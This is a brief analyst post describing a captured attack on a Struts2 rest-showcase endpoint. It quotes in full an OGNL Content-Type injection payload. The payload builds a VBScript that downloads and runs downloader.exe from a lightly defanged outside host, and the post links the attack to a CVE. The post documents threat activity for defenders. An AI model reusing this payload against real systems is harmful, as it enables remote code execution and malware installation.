Attack Targeting struts2-rest-showcase

I see some interesting exploitation over port 80 to struts2-rest-showcase/orders.xhtml:

Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cmd /c del C:/Windows/temp/searsvc.vbs&echo Set Post = CreateObject("Msxml2.XMLHTTP") >>C:/Windows/temp/searsvc.vbs&echo Set Shell = CreateObject("Wscript.Shell") >>C:/Windows/temp/searsvc.vbs&echo Post.Open "GET","hxxp://a46.bulehero.in/downloader.exe",0 >>C:/Windows/temp/searsvc.vbs&echo Post.Send() >>C:/Windows/temp/searsvc.vbs&echo Set aGet = CreateObject("ADODB.Stream") >>C:/Windows/temp/searsvc.vbs&echo aGet.Mode = 3 >>C:/Windows/temp/searsvc.vbs&echo aGet.Type = 1 >>C:/Windows/temp/searsvc.vbs&echo aGet.Open() >>C:/Windows/temp/searsvc.vbs&echo aGet.Write(Post.responseBody) >>C:/Windows/temp/searsvc.vbs&echo aGet.SaveToFile "C:/Windows/temp/esentur.exe",2 >>C:/Windows/temp/searsvc.vbs&echo wscript.sleep 10000>>C:/Windows/temp/searsvc.vbs&echo Shell.Run ("C:/Windows/temp/esentur.exe")>>C:/Windows/temp/searsvc.vbs&C:/Windows/temp/searsvc.vbs').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

It looks like this is abusing some mishandling of a content type, to write a vbs script that downloads hxxp://a46.bulehero.in/downloader.exe into C:/Windows/temp/esentur.exe. Unfortunately, that site is not providing the download file…

Virus total has previously characterized a downloader.exe file from the URL.

This seems like it exploits CVE-2017-9805, with potential POC here.